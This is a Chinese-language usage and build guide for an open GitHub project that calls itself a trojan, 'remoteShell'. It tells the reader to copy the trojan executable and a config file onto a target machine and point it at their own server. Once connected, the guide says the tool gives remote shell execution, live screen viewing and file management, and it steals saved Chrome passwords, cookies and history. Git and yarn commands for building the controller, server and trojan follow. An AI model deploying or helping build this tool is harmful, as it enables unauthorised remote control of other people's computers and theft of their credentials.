https://github.com/OblivionTime/remoteShell
https://github.com/OblivionTime/remoteShell/releases
先启动remoteShellServer-win.exe也就是先启动服务

马端控制.exe
然后将config.json和remoteShellTrojan.exe移植到目标机器上,根据自己的服务器ip地址修改config.json文件中的hostname和port,如果不知道看自己服务器ip的话可以在命令行输入ipconfig查看自己的ip

remoteShellTrojan.exe即可,出现下面这种情况则表示连接成功

马端控制查看上线的机器
https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main
马端控制是基于vue和electron,使用element-UI框架,通过websocket进行数据传输,使用ffmpeg.exe实现简单的屏幕录制功能
- shell命令执行
- 实时屏幕
- 文件管理
- 获取chrome浏览器的书签,历史记录,网站保存的账号和密码,网站所有cookie
#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
# 安装依赖包
yarn
# 调试
yarn serve
# 打包
yarn buildhttps://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server
后端主要通过纯nodejs,后端主要重要在于信息传输,并没有做任何的特殊处理,所以基本上很多功能代码相似
#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
git chekcout server
# 安装依赖包
yarn
# 调试
yarn serve
# 打包
yarn buildhttps://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan
马端纯nodejs实现,主要调用了以下几个库的基本使用
#拉取前端
git clone https://github.com/OblivionTime/remoteShell.git
git chekcout trojan
# 安装依赖包
yarn
# 调试
yarn serve
# 打包成win
yarn build:win
# 打包成mac
yarn build:mac
# 打包成linux
yarn build:linux
hostname表示后端ip地址,port表示后端端口,如果当前目录下没有config.json文件则系统会自动默认为localhost:7880









